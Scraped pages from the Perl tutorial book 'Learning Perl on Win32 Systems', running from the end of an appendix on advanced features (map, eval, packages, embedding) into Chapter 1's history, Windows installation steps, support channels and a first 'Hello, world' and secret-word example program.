The map operator is similar, but instead of selecting or rejecting items, it merely collects the results of the expression (evaluated in a list context):

@more = map $_ + 3, 3, 5, 7; # gets 6, 8, 10
@squares = map $_ * $_, 1..10; # first 10 squares
@that = map "$_\n", @this; # like "unchop"
@triangle = map 1..$_, 1..5; # 1,1,2,1,2,3,1,2,3,4,1,2,3,4,5
%sizes = map { $_, -s } <*>; # hash of files and sizes

D.5.2 The eval Operator (and s///e)

Yes, you can construct a piece of code at runtime and then eval it. This process forces a dynamic compilation of the code inside the eval. This compilation is actually rather useful, because you can get some compile-time optimizations (like a compiled regular expression) at runtime. You can also use it to trap otherwise fatal errors in a section of code: a fatal error inside the eval merely exits the eval and gives you an error status.

For example, here's a program that reads a line of Perl code from the user and then executes it as if it were part of the Perl program:

print "code line: ";
chop($code = <STDIN>);
eval $code; die "eval: $@" if $@;

You can put Perl code inside the replacement string of a substitute operator with the e flag. This is handy if you want to construct something complicated for the replacement string, such as calling a subroutine that returns the results of a database lookup. Here's a loop that increments the value of the first column of a series of lines:

while (<>) {
  s/^(\S+)/$1+1/e; # $1+1 is Perl code, not a string
  print;
}

Another use of eval is as an error-trapping mechanism:

eval {
  &some_hairy_routine_that_might_die(@args);
};
if ($@) {
  print "oops... some_hairy died with $@";
}

Here, $@ will be empty as long as the eval block worked; otherwise, it will have the text of the die message.

Previous: D.4 Other Operators | Learning Perl on Win32 Systems | Next: D.6 Many, Many Predefined Variables
D.4 Other Operators | Book Index | D.6 Many, Many Predefined Variables


[Appendix D] D.6 Many, Many Predefined Variables

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

D.6 Many, Many Predefined Variables

You've seen a few predefined variables, like $_. Well, a lot more exist. Pretty much every punctuation character has been pressed into service. The perlvar documentation will be of help here. Also, see the English module in perlmod .

Previous: D.5 Many, Many More Functions | Learning Perl on Win32 Systems | Next: D.7 Symbol Table Manipulation With *FRED
D.5 Many, Many More Functions | Book Index | D.7 Symbol Table Manipulation With *FRED


[Appendix D] D.7 Symbol Table Manipulation With *FRED

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

D.7 Symbol Table Manipulation With *FRED

You can make b an alias for a with *b = *a. This statement means that $a and $b refer to the same variable, as do @a and @b, and even filehandles and formats a and b. You can also localize *b inside a block with local(*b), letting you have local filehandles, formats, and other things. Pretty fancy stuff, but useful when you need it.

Previous: D.6 Many, Many Predefined Variables | Learning Perl on Win32 Systems | Next: D.8 Additional Regular Expression Features
D.6 Many, Many Predefined Variables | Book Index | D.8 Additional Regular Expression Features


[Appendix D] D.8 Additional Regular Expression Features

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

D.8 Additional Regular Expression Features

Regular expressions can contain extended syntax (where whitespace is optional, so a regular expression can be split over multiple lines, and can contain regular Perl comments), and can have positive and negative lookahead. The syntax is a bit ugly, so rather than scare you off here, go look in Programming Perl, or see the perlre documentation. Jeffrey Friedl's book, Mastering Regular Expressions (published by O'Reilly & Associates), explains all of this and much more.

Previous: D.7 Symbol Table Manipulation With *FRED | Learning Perl on Win32 Systems | Next: D.9 Packages
D.7 Symbol Table Manipulation With *FRED | Book Index | D.9 Packages


[Appendix D] D.9 Packages

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

D.9 Packages

When multiple people work on a project, or if you're slighly schizophrenic, you can carve up the variable namespace using packages. A package is just a hidden prefix put in front of most variables (except variables created with the my operator). By changing the prefix, you get different variables. Here's a brief example:

$a = 123;            # this is really $main::a
$main::a++;          # same variable, now 124
package fred;        # now the prefix is "fred"
$a = 456;            # this is $fred::a
print $a - $main::a; # prints 456-124
package main;        # back to original default
print $a + $fred::a; # prints 124+456

So, any name with an explicit package name is used as is, but all other names get packaged into the current default package. Packages are local to the current file or block, and you always start out in package main at the top of a file. For details, the perlsub documentation will help here.

Previous: D.8 Additional Regular Expression Features | Learning Perl on Win32 Systems | Next: D.10 Embeddible, Extensible
D.8 Additional Regular Expression Features | Book Index | D.10 Embeddible, Extensible


[Appendix D] D.10 Embeddible, Extensible

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

D.10 Embeddible, Extensible

The guts of Perl is defined well enough that it becomes a relatively straightforward task to embed the Perl compiler/interpreter inside another application, or to extend Perl by connecting it with arbitrary code written in C/C++ (or having a C-like interface). In fact, about a third of the on-line documentation for Perl is specifically devoted to embedding and extending Perl. The perlembed , perlapi, perlxs , perlxstut , perlguts, and perlcall documenation pages cover these topics in depth.

And because Perl is freely reusable, you can write your proprietary spreadsheet application, using an embedded Perl to evaluate the expressions in your spreadsheet cells, and not have to pay one cent in royalties for all that power. Joy.

D.10.1 Security Matters

Perl was designed with security in mind. See Chapter 6 of Programming Perl or the perlsec documentation about taint checking. This is the kind of security where you trust the writer of the program, but not the person running it, such as is often the case with server-launched programs. The Safe module, covered in the Safe documentation and Chapter 7 of Programming Perl, provides something else entirely: the kind of security necessary when executing (as with eval) unchecked code.

D.10.2 Switch or Case Statements

No, Perl doesn't really have these statements, but you can easily make them by using more basic constructs. See Chapter 2 of Programming Perl or the perlsyn documentation.

D.10.3 Direct I/O: sysopen, sysread, syswrite, and sysseek

Sometimes Perl's high-level I/O is a bit too high-level for what you need to do. Chapter 3 of Programming Perl and the perlfunc documentation cover direct access to the raw system calls for I/O.

D.10.4 The Perl Compiler

Although we speak of Perl as compiling your code before executing it, this compiled form is not native object code. Malcolm Beatie's Perl compiler project can produce standalone byte code or compilable C code out of your Perl script. The 5.005 release of Perl is expected to have native code generation included as part of the standard release. See the material in the perlfaq3 documentation about this.

D.10.5 Database Support

Yes, Perl can interface directly with your commercial database servers, including Oracle, Sybase, Informix, and ODBC, just to name a few. See the database section in the CPAN modules directory for the relevant extension modules.

D.10.6 Complex Data Structures

Using references, you can build data structures of arbitrary complexity. These are discussed in Chapter 4 of Programming Perl, and in the perllol , perldsc , and perlref documentation. If you prefer an object-oriented data structure, see Chapter 5 of Programming Perl, or the perltoot and perlobj documentation.

D.10.7 Function Pointers

Perl can store and pass pointers to functions via the \&funcname notation, and call them indirectly via &$funcptr($args). You can even write functions that create and return new anonymous functions, just as you could in languages like Lisp or Scheme. Such anonymous functions are often called closures. See Chapter 4 of Programming Perl and the perlsub and perlfaq7 documentation for details.

Previous: D.9 Packages | Learning Perl on Win32 Systems | Next: D.11 And Other Stuff
D.9 Packages | Book Index | D.11 And Other Stuff


[Appendix D] D.11 And Other Stuff

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

D.11 And Other Stuff

Perl just keeps getting more powerful and more useful, and it's quite an effort to keep the documentation up to date. (Who knows? By the time this book hits the shelves, there could be a Visual Perl.) But in any case, thanks, Larry!

Previous: D.10 Embeddible, Extensible | Learning Perl on Win32 Systems
D.10 Embeddible, Extensible | Book Index


[Chapter 1] Introduction

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book
Previous: Acknowledgments for the Win32 Edition Chapter 1 Next: 1.2 Purpose of Perl

1. Introduction

Contents:
History of Perl
Purpose of Perl
Availability
Support
Basic Concepts
A Stroll Through Perl
Exercises

1.1 History of Perl

Perl is a language designed for people who need to get things done. Written by the amazing Larry Wall as a kind of glue language to tie together all of the loose ends of everyday computing life, Perl is a tool for leveraging the skills and tools that you already have. Perl has become an indispensable boon to Windows NT webmasters, power users, administrators, and programmers who have discovered how much easier it is to get their work done when Perl is doing some of it for them.

Do you know a little about C? Then you probably already know a lot about Perl. In fact, if you have used any programming or scripting language before, you might be surprised at how familiar Perl looks. Perl is not only an easy language to use, but also makes great use of your existing tools and solutions.

Perl is an easy language, but it's also a rich language, offering lots of functionality right out of the box. You'll be surprised at how much you can do with just a little bit of Perl code. Often, rewriting a small scrap of Perl wizardry requires hundreds of lines of C. Some languages that let you do a lot with a little don't let you do a whole lot. Perl not only lets you do a lot, it lets you do so with minimal effort. And if you run into something that you can't do in Perl, you'll find most likely that Perl will cooperate quite nicely with whatever you do have to do it in.

For many addicts, Perl is more than a language, it's an entire culture. For many folks, Perl was an indispensable part of their UNIX toolkits that they took with them to new environments. As a result, Perl grew, and became even more general and more powerful. What was once just an exceptional text-processing language that bound UNIX programs together has become a widespread language that seems to bind much of the Internet together. Perl is now used to create web pages, read Usenet news, do system adminstration and systems programming, write network clients and servers, and much more.

The three chief virtues of a Perl programmer (indeed, of any programmer) are sometimes said to be laziness, impatience, and hubris. Although these may seem like undesirable qualities at first blush (just ask your SO), there's more to this than there appears to be.

Laziness is the quality that makes you take great efforts to reduce the overall amount of work that you have to do. Lazy programmers are apt to develop reusable and general solutions that can be used in more than one place, and are more apt to document what they do, so that they don't have to ever waste time or torture their brains figuring it out again.

Impatient programmers get angry whenever they have to do anything that the computer could be doing for them. Hence, they develop programs that anticipate their needs and solve problems for them, so that they can do less (there's that laziness again) while accomplishing more.

Finally, hubris is that quality which makes programmers write programs that they want other people to see (and be able to maintain). Hubris is also a quality that promotes innovation: if you think that you have a better way and you're not afraid to prove it, you're often right.

Odd ideas for a culture, perhaps, but effective ones. Here's another tenet of the Perl way: "There's more than one way to do it." What this means is that Perl programmers are a results-oriented lot. They're likely to applaud any tool that gets the job done, regardless of whether or not the code looks like something they would have written. Another side effect of this tenet that particularly endears itself to Win32 Perl programmers is that Perl is highly portable. Although ready-made scripts that you find on the Net may use existing UNIX tools or UNIX system calls that aren't portable to the Windows environment (this scenario has led Win32 programmers to say, "There's more than one way to do it, and it's a good thing, because most of the ways don't work"), you can nearly always find a way to make them work (and nobody will make fun of you if your solution is perhaps somewhat less than elegant).

True to this philosophy, Perl stands for either Practical Extraction and Report Language or Pathologically Eclectic Rubbish Lister (both derivations are sanctioned by the Perl community). Perl for Win32 sprang into existence when Microsoft commissioned ActiveState Tool Corporation (formerly Hip Communications) to do a port for inclusion in the Windows NT Resource Kit. ActiveState is still improving Perl for Win32, extending it with functionality specific to the Win32 platforms, and incorporating the best and most appropriate new features as they are added to the core Perl distribution.

You'll find that Perl for Win32 uses some of the coolest and most compelling technologies available to Windows programmers including OLE automation, ODBC database connectivity, ActiveX scripting, and much more. The source code for Perl (including Perl for Win32) is freely available and freely redistributable. If you want to extend Perl to provide additional features, or embed the interpreter in your own application, you can easily do so.

You'll also find that the Perl community believes in (and practices) information and code sharing. There is an archive network (called the CPAN, for Comprehensive Perl Archive Network), where you can find thousands of existing Perl programs and code fragments.

In addition to a vast body of high quality pre-written code, Perl excels at rapid application development. Part of this is due to the powerful qualities of language that let you do lots of work with a few statements - another part is due to the Perl development tools themselves.

Perl is an interpreted language, but it might work a little bit differently from other interpreted languages that you've used. Perl is actually both a compiler and an interpreter. When you invoke the Perl interpreter on a Perl script file, the file is first compiled and optimized, then efficiently executed. Not only does this allow for efficient runtime execution, it also promotes a quick development cycle, in which you can quickly make changes and rerun your script without going through a long compile and link cycle.

In spite of Perl's relatively free syntax, you can easily develop correct Perl programs. Not only is there a Perl debugger, but the compiler itself will issue informative warnings when you're treading on thin ice. Furthermore, the interpreter doesn't execute unless the program compiles completely. This feature saves you from the common interpreted-language nightmare in which the first half of your program works and does something to a file, and then the second half doesn't.

Previous: Acknowledgments for the Win32 Edition | Learning Perl on Win32 Systems | Next: 1.2 Purpose of Perl
Acknowledgments for the Win32 Edition | Book Index | 1.2 Purpose of Perl


[Chapter 1] 1.2 Purpose of Perl

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

1.2 Purpose of Perl

Well, you've made it through the Perl hype. You might be wondering why you'd ever use Perl. This section provides a couple of ideas.

You can use Perl for World Wide Web (WWW) programming. You've probably heard that Perl has become a sort of lingua franca for the Web (actually, you may have heard that statement for more than one language, but we'll say it again here). Perl cannot only be used as a CGI language (for which there are wonderful modules available), but it can be used as an ISAPI extension (an in-process extension to your web server), or even as an ActiveX scripting language. You can also use Perl to validate HTML syntax, to verify that web hyperlinks are still correct, and to fetch URLs from the Internet.

You can use Perl for many system administration chores. Not only will Perl let you manipulate the Registry, the Event Log, and Windows NT user account information, it's also the best tool going for processing log files of nearly any format.

You can use Perl to drive your favorite word processor or spreadsheet using OLE Automation. You can use the freely available Win32::ODBC module or Active Data Objects (ADO) to access your favorite local or enterprise database.

You can use Perl to retrieve (and filter) your email and Usenet news. You can use Perl to send email, interact with FTP and HTTP servers, and be a client for nearly any other type of Internet server you can dream up.

You can use Perl to process textual or numerical data, to prototype projects, to do quick search and replace functions in text files, to drive the execution of a sequence of commands, and much, much more.

In short, Perl can do zillions of thing to help you do your job faster and get back to doing things that are fun (many of which you can also use Perl to do). And along the way, you might find that the journey itself can be a lot of fun.

Like any language, Perl can be "write only"; it's possible to write programs that are impossible to read. But with proper care, you can avoid this common accusation. Yes, sometimes Perl looks like line noise to the uninitiated, but to the seasoned Perl programmer, it looks like checksummed line noise with a mission in life. If you follow the guidelines of this book, your programs should be easy to read and easy to maintain, but they probably won't win any obfuscated Perl contests.

Previous: 1.1 History of Perl | Learning Perl on Win32 Systems | Next: 1.3 Availability
1.1 History of Perl | Book Index | 1.3 Availability


[Chapter 1] 1.3 Availability

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

1.3 Availability

Unless you have had the good fortune of having a system administrator install Perl on your workstation, you will need to obtain and install a copy yourself.

Perl is distributed under the GNU Public License,[1] which says something like, "you can distribute binaries of Perl only if you make the source code available at no cost, and if you modify Perl, you have to distribute the source to your modifications as well." And that's essentially free. You can get the source to Perl for the cost of a few megabytes over a wire.

[1] Or the slightly more liberal Artistic License, found in the distribution sources.

At the time of this writing, there are two Perl distributions that run on Windows NT and Windows 95. There is the ActiveState port of Perl, called Perl for Win32, and starting with Perl 5.004, the standard Perl distribution includes support for Win32 systems. The two versions are largely compatible, with some of the Perl 5.004 code being based on the ActiveState port, but there are some differences. The programs and examples presented in this tutorial have been tested on both systems; when a distribution requires different code, we point that fact out. The architects of both distibutions have announced their intention to merge the distributions, but they have not yet announced a time frame for that to happen.

1.3.1 ActiveState Perl for Win32

The canonical source for the ActiveState Perl for Win32 distribution at the time of this writing is at http://www.activestate.com. You can also find the source and binaries for the Perl for Win32 distribution at CPAN. To use the CPAN archives, visit http://www.perl.com/CPAN for a mirror site close to you. The CPAN site will also provide the source distribution for the UNIX version of Perl and precompiled binaries for other platforms. If you're absolutely stumped, write bookquestions@ora.com and say "Where can I get Perl?!?!"

Perl for Win32 comes in a variety of flavors, in both source and binary distributions. Unless you have access to a C++ compiler,[2] you'll probably want to get the binary distribution that contains the Perl executables and libraries, pre-built and ready to use. You might also want to grab the source distribution for reference purposes, if you're familiar with C/C++.

[2] The Perl for Win32 distribution currently includes makefiles only for the Microsoft Visual C++ compiler.

You can choose from one of several different binary distributions: there's a standalone version of the Perl interpreter (Perl for Win32), a version for use as an ISAPI[3] extension with ISAPI compliant Web servers (PerlIS), and an ActiveX scripting version (PerlScript). If you choose either the ISAPI or the PerlScript version, you will still need the standalone version of the interpreter, because it contains the Perl libraries, documentation, and example files. Binary distributions exist for both DEC Alpha and Intel versions of Windows NT. At the time of this writing, the current release version of Perl for Win32 is based on Perl 5.003, and the build number is 306.

[3] For more on ISAPI and PerlIS, see Chapter 18, CGI Programming.

The standalone version of Perl for Win32 is easy to install; the distribution comes as a self-extracting executable. Just run the executable, select the directory to install into, and run the installation script as prompted by the installer. You'll probably need to re-logon (in Windows NT) or reboot (in Windows 95) to your workstation because the installation changes the PATH environment variable.

The Perl for Win32 distribution includes the Perl interpreter, the standard Perl libraries (useful collections of code that aren't part of the core language), and a number of Win32 extension modules. The Win32 extension modules either extend Perl to provide additional functionality for Win32 platforms or they provide functionality that is present in UNIX versions of Perl, but which is unimplemented or otherwise missing in Win32 versions. The distribution also includes help documentation (in HTML format) and example scripts that demonstrate the various features of Perl and the Win32 extensions.

Currently, if you're interested in either the ISAPI version of Perl, or PerlScript, you need to get the ActiveState distribution, because neither of these tools works with the standard distribution. Also, if you don't have convenient access to either the Microsoft or Borland C++ compilers, you'll definitely want to grab the binary ActiveState distibution.

1.3.2 Standard Perl Distribution

The standard Perl distribution can be found at http://www.perl.com/CPAN/ and compiles out of the box for several different platforms, including Windows NT. As we write this, the standard distribution is only available in source form; the binary distribution on CPAN is the ActiveState port. This scenario is likely to change by the time you are reading this, so you'll want to visit CPAN to investigate your options.

The source distribution of Perl 5.004 requires either the Microsoft Visual C++ compiler (versions 2.0 - 5.0) or the Borland C++ compiler (version 5.x). After you get the distribution, you should start with the readme.win32 file, which contains detailed instructions for building, testing, and installing the distribution.

Briefly, here's what you need to do to build and install the distribution (this example assumes you're using the Microsoft compiler, but using the Borland C++ compiler should be quite similar, except that you'll need to get the dmake make utility; see readme.win32 for details).

Extract the distribution using some utility that supports gzip and tar files, as well as long filenames. There are ports of both GNU gzip and tar available for the various Win32 platforms (you can find both at the Virtually UN*X site at www.itribe.net/virtunix or several other places on the Net), and these will work quite nicely. Alternatively, you might try one of the graphical zip archive programs (we recommend WinZip at www.winzip.com).

Assuming you're using gzip and tar, execute the following (you might need to adjust the filename):

> gzip -dc perl5.004_01.tar.gz | tar xf -

If you're using WinZip or some other utility, make sure that you preserve the directory structure.

Next, edit the makefile (Makefile) in the win32 subdirectory of the distribution and make sure that you're happy with the values for the install drive and directory.

Then, execute the following commands from the win32 subdirectory of the distribution to build, test, and install the distribution. This assumes that you have the proper environment variables (LIB, INCLUDE, etc) set up for your compiler (this assumes nmake is your make utility).

> nmake        (Build all of Perl)
> nmake test   (Test your distribution)
> nmake install (Install to the target dir. in the Makefile)

Assuming everything is built correctly, you just need to add the bin subdirectory of the installation target directory to your path. For example, if you installed the Perl distribution to c:\Perl, you'll want to add c:\Perl\bin to your path.

Finally, restart your machine to get the environment changes, and you're ready to go. We strongly recommend getting the libwin32 package from CPAN, and installing it as well. We'll be discussing several of the extensions provided by libwin32 throughout this book (the ActiveState distribution includes most of these extensions already). Installation of libwin32 is easy. Simply download and extract the file, and then execute the following commands from the directory to which you extracted the files:

> perl Makefile.PL
> nmake
> nmake test
> nmake install

1.3.3 Windows NT and Windows 95

A word of warning is probably in order here: Windows 95 users can expect significantly different functionality from their Perl distribution than Windows NT users. For various reasons, some of the Win32 modules don't work on Windows 95. The functionality required to implement them may be missing on Windows 95, or bugs in Windows 95 may prevent them from working correctly. We'll explore some of the specifics in later chapters, but for now remember that some of the examples and concepts presented in this book require Windows NT.

Previous: 1.2 Purpose of Perl | Learning Perl on Win32 Systems | Next: 1.4 Support
1.2 Purpose of Perl | Book Index | 1.4 Support


[Chapter 1] 1.4 Support

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

1.4 Support

Perl is the child of Larry Wall, and is still being coddled by him. Bug reports and requests for enhancements generally get fixed in later releases, but he is under no obligation to do anything with them. Nevertheless, Larry really does enjoy hearing from all of us, and does truly like to see Perl be useful to the world at large. Direct email generally gets a response (even if it is merely his email answering machine), and sometimes a personal response. These days, Larry is actually acting as an architect to the "Perl 5 Porters" group, a bunch of very clever people that have had a lot to do with the last few Perl releases. If Larry got hit by a bus, everyone would be very sad for a long time, but Perl would still continue to mature under the direction of this group.

You will probably find that your best bet for support comes from the global online Perl community, accessible via the Usenet newsgroup comp.lang.perl.misc. If you are emailable to the Internet, but not amenable to Usenet, you can also wire yourself into this group by sending a request to perl-users-request@cs.orst.edu, which will reach a human who can connect you to a two-way email gateway into the group, and give you guidelines on how the group works.

When you subscribe to the newsgroup, you'll find roughly 50 to 200 postings a day (at the time of this writing) on all manner of subjects from beginner questions to complicated porting issues and interface problems, and even a fairly large program or two.

The newsgroup is almost constantly monitored by many Perl experts. Most of the time, your question gets answered within minutes of your news article reaching a major Usenet hub. Just try getting that level of support from your favorite software vendor for free! Larry himself reads the group as time permits, and has been known to interject authoritative articles to end bickering or clarify a point. After all, without Usenet, there probably wouldn't have been a place to easily announce Perl to the world.

In addition to the newsgroup, you should also be reading the Perl documentation which comes with the Perl distribution. Another authoritative source is the Programming Perl Nutshell Handbook, by Larry Wall, Tom Christiansen, and Randal L. Schwartz (O'Reilly & Associates, 1996). Programming Perl is known as "The Camel Book" because of the animal on its cover. The Camel Book contains the complete reference information, some tutorial stuff, and a bunch of miscellaneous information about Perl in a nicely bound form.

The Frequently Asked Questions (FAQ) list for Perl is a great source of answers for common questions that arise about Perl. The FAQ is available in the perlfaq documentation page as of the 5.004 release of Perl, is posted periodically to the moderated comp.lang.perl.announce newsgroup, and can also be found on any CPAN mirror under the doc/FAQs directory.

Finally, for specific issues concerning Perl for Win32, a trio of mailing lists is available: Perl-Win32-Users, Perl-Win32-Porters, and Perl-Win32-Announce. Perl-Win32-Users[4] is for general questions on installation and usage. This list has moderate traffic at times and can be a valuable resource for Perl-for-Win32 users. The Perl-Win32-Porters list is for development and porting issues only. Please do not ask installation or usage questions of this list. The Perl-Win32-Announce list is for announcements of new builds, bugs, or issues, and is a read-only list. The traffic is very light, and if you're serious about Perl for Win32, you probably want to subscribe to this list.

[4] This list has a history of down time. If it seems to be down for a few days, try resubscribing or wait a while. It usually starts working again.

To subscribe to any of the Perl-for-Win32 lists, send a message to ListManager@ActiveState.com with the message SUBSCRIBE Perl-Win32-Users (or whichever list you're interested in) in the body of the message.

Even though the Perl community is largely a helpful and collaborative group, they do expect you to do your homework before asking questions. You should always search the applicable FAQs before posting your question to the Usenet or a mailing list. You can find the Perl-for-Win32 FAQ at http://www.endcontsw.com/people/evangelo/Perl_for_Win32_FAQ.html, or by searching around at the ActiveState site (http://www.activestate.com). You can find the general Perl FAQs at any CPAN site (try the /doc/FAQs) directory.

Previous: 1.3 Availability | Learning Perl on Win32 Systems | Next: 1.5 Basic Concepts
1.3 Availability | Book Index | 1.5 Basic Concepts


[Chapter 1] 1.5 Basic Concepts

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

1.5 Basic Concepts

A Perl program is a bunch of Perl statements and definitions thrown into a file. You can execute the file by invoking the Perl interpreter with the script name as an argument. You will often see a line

#!/usr/bin/perl

as the first line of a Perl script. This line is a bit of magic employed by UNIX-like operating systems to automatically execute interpreted languages with the correct command interpreter. This line is called a shebang line due to the first two characters: # is sometimes called sharp, and ! is sometimes called bang. This line normally won't work for Perl-for-Win32 users,[5] although it doesn't hurt anything since Perl sees lines beginning with # as comments.

[5] However, there are Win32 ports of UNIX shells (e.g., tcsh, ksh, and bash) that do understand shebang lines. If you're using one of these shells, you can use shebang lines by specifying the path to your Perl interpreter.

The invocation examples that follow assume that you have invoked the Windows NT command interpreter (cmd.exe) and are typing into a console window. You can run Perl scripts from the Explorer or the File Manager (assuming that you've associated the script extension with the Perl interpreter) by double-clicking on the script icon to launch it. Throughout this book, we're going to be discussing standard output and input streams; these are generally assumed to be your console window.

We recommend naming scripts with a .plx extension. Traditionally, Perl modules have a .pm extension, and Perl libraries have a .pl extension. The ActiveState installer prompts you to associate .pl with the interpreter.

You can always execute a script by calling the Perl interpreter with the script as an argument:

> perl myscript.plx

You can also associate files with the .plx extension (or another of your choosing) with the Perl interpreter, so that executing

> myscript.plx

will correctly invoke the Perl interpreter and execute your script. This step is normally done for you by the ActiveState installation script[6] for the .pl extension, but if you wish to change the extension or if you've got the standard distribution, you can do this step manually. If you're using Windows NT 4.0 (or greater), the following commands will do the trick (use the full path to your interpreter):

[6] This statement is not true if you're using Windows 95, in which case you'll have to do the whole thing manually. From an Explorer window, go to View/Options/File Types and add a new type with the .pl extension and the path to the Perl interpreter.

> assoc .plx=Perl
> ftype Perl=c:\myperl\bin\perl.exe %1 %*

If you can't bear the thought of typing the extension every time you execute a Perl script, you can set the PATHEXT environment variable so that it includes Perl scripts. For example:

> set PATHEXT=%PATHEXT%;.PLX

This setting will let you type

> myscript

without including the file extension. Take care when setting PATHEXT permanently - it also includes executable file types like .COM, .EXE, .BAT, and .CMD. If you inadvertently lose those extensions, you'll have difficulty invoking applications and script files.

Perl is mostly a free-format language like C - whitespace between tokens (elements of the program, like print or +) is optional, unless two tokens placed together can be mistaken for another token, in which case whitespace of some kind is mandatory. (Whitespace consists of spaces, tabs, newlines, returns, or formfeeds.) A few constructs require a certain kind of whitespace in a certain place, but they'll be pointed out when we get to them. You can assume that the kind and amount of whitespace between tokens is otherwise arbitrary.

Although many interesting Perl programs can be written on one line, typically a Perl program is indented much like a C program, with nested parts of statements indented more than the surrounding parts. You'll see plenty of examples showing a typical indentation style throughout this book.

Just like a batch file, a Perl program consists of all of the Perl statements of the file taken collectively as one big routine to execute. Perl has no concept of a "main" routine as in C.

Perl comments are single-line comments (like REM in a batch file or // in a C++ or Java file). Anything from an unquoted pound sign (#) to the end-of-line is a comment. There are no C-like multiline comments.

Unlike the command shell, the Perl interpreter completely parses and compiles the program before executing any of it. This means that you can never get a syntax error from a program once the program has started, and that the whitespace and comments simply disappear and won't slow the program down. In fact, this compilation phase ensures the rapid execution of Perl operations once execution starts, and provides additional motivation for dropping C as a systems utility language merely on the grounds that C is compiled.

This compilation does take time - it's inefficient to have a voluminous Perl program that does one small quick task (out of many potential tasks) and then exits, because the run-time for the program will be dwarfed by the compile time.

So, Perl is like a compiler and an interpreter. It's a compiler because the program is completely read and parsed before the first statement is executed. It's an interpreter because no object code sits around filling up disk space. In some ways, it's the best of both worlds. Admittedly, a caching of the compiled object code between invocations, or even translation into native machine code, would be nice. A working version of such a compiler already exists, and is currently scheduled to be bundled into the 5.005 release. See the Perl FAQ for the current status.

1.5.1 Documentation

Throughout this book, we'll refer to the documentation included with the Perl distributions. The ActiveState port comes with documentation in HTML format; you can find it in the /docs subdirectory of the distribution. When we refer to the documentation, we'll just refer to the base name of the file without the extension. For example, if we refer to perlfunc, we really mean /docs/Perl/perlfunc.html. Win32 specific documentation is located in the /docs/Perl-Win32 subdirectory, so a reference to win32ext really refers to /docs/Perl-Win32/win32ext.html.

If you have the standard 5.004 distribution, you can use the perldoc command from the command line. perldoc is a batch file wrapper around a Perl script, found in the /bin directory of the distribution. perldoc lets you view documentation pages or module documentation by invoking it as follows:

> perldoc perlfunc

perldoc extracts the documentation from the Perl POD (plain old documentation) format found in the /pod subdirectory of the distribution. If all else fails, you can just read the pod files with your favorite text editor.

Previous: 1.4 Support | Learning Perl on Win32 Systems | Next: 1.6 A Stroll Through Perl
1.4 Support | Book Index | 1.6 A Stroll Through Perl


[Chapter 1] 1.6 A Stroll Through Perl

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

1.6 A Stroll Through Perl

We begin our journey through Perl by taking a little stroll. This stroll presents a number of different features by hacking on a small application. The explanations here are extremely brief - each subject area is discussed in much greater detail later in this book. But this little stroll should give you a quick taste for the language, and you can decide if you really want to finish this book instead of reading some more Usenet news or running off to the ski slopes.

1.6.1 The "Hello, world" Program

Let's look at a little program that actually does something. Here is your basic "Hello, world" program (use any text editor to type it in):

print ("Hello, world!\n");

This single line is the entire program. The built-in function print starts it off, and in this case has just one argument, a C-like text string. Within this string, the character combination \n stands for a newline character, just as it does in C. The print statement is terminated by a semicolon (;). As in Pascal or C, all simple statements in Perl are terminated by a semicolon.[7]

[7] The semicolon can be omitted when the statement is the last statement of a block, file, or eval.

When you invoke this program, the Perl interpreter parses the entire program and then executes the compiled form. The first and only operation is the execution of the print function, which sends any arguments to the standard output. After the program has completed, the Perl process exits, returning a successful exit code to the parent process.

Soon, you'll see Perl programs in which print and other functions are sometimes called with parentheses, and sometimes called without them. The rule is simple: in Perl, parentheses for built-in functions are never required nor forbidden. Their use can help or hinder clarity, so use your own judgment.

1.6.2 Asking Questions and Remembering the Result

Let's add a bit more sophistication. The Hello, world greeting is a touch cold and inflexible. Let's have the program call you by your name. To do this, we need a place to hold the name, a way to ask for the name, and a way to get a response.

One kind of place to hold values (like a name) is a scalar variable. For this program, we'll use the scalar variable $name to hold your name. In Chapter 2, Scalar Data, we'll go into more detail about what these variables can hold, and what you can do with them. For now, assume that you can hold a single number or string (sequence of characters) in a scalar variable.

The program needs to ask for the name. To do that, we need a way to prompt and a way to accept input. The previous program showed us how to prompt: use the print function. And the way to get a line from the terminal is with the <STDIN> construct, which (as we're using it here) grabs one line of input. We assign this input to the $name variable. This gives us the following program:

print "What is your name? ";
$name = <STDIN>;

The value of $name at this point has a terminating newline (Erik comes in as Erik\n). To get rid of the newline, we use the chomp() function, which takes a scalar variable as its sole argument and removes the trailing newline, if present, from the string:

chomp $name;

Now, all we need to do is say Hello, followed by the value of the $name variable, which we can do by embedding the variable inside the quoted string:

print "Hello, $name!\n";

Putting it all together, we get:

print "What is your name? ";
$name = <STDIN>;
chomp $name;
print "Hello, $name!\n";

1.6.3 Adding Choices

Now, let's say we have a special greeting for Erik, but want an ordinary greeting for anyone else. To do this, we need to compare the name that was entered with the string Erik, and if they are identical, do something special. Let's add a C-like if-then-else branch and a comparison to the program:

print "What is your name? ";
$name = <STDIN>;
chomp $name;
if ($name eq "Erik") {
  print "Hello, Erik! How good of you to be here!\n";
} else {
  print "Hello, $name!\n"; # ordinary greeting
}

The eq operator compares two strings. If they are equal (character for character, and of the same length), the result is true. (No comparable operator[8] exists in C or C++.)

[8] Well, OK, there's a standard C library function. But that's not an operator.

The if statement selects which block of statements (between matching curly braces) is executed - if the expression is true, it's the first block, otherwise it's the second block.

1.6.4 Guessing the Secret Word

Well, now that we have the name, let's have the person running the program guess a secret word. For everyone except Erik, we'll have the program repeatedly ask for guesses until the person guesses properly. First the program, and then an explanation:

$secretword = "gecko"; # the secret word
print "What is your name? ";
$name = <STDIN>;
chomp $name;
if ($name eq "Erik") {
    print "Hello, Erik! How good of you to be here!\n";
} else {
    print "Hello, $name!\n"; # ordinary greeting
    print "What is the secret word? ";
    $guess = <STDIN>;
    chomp $guess;
    while ($guess ne $secretword) {
        print "Wrong, try again. What is the secret word? ";
        $guess = <STDIN>;
        chomp $guess;
    }
}

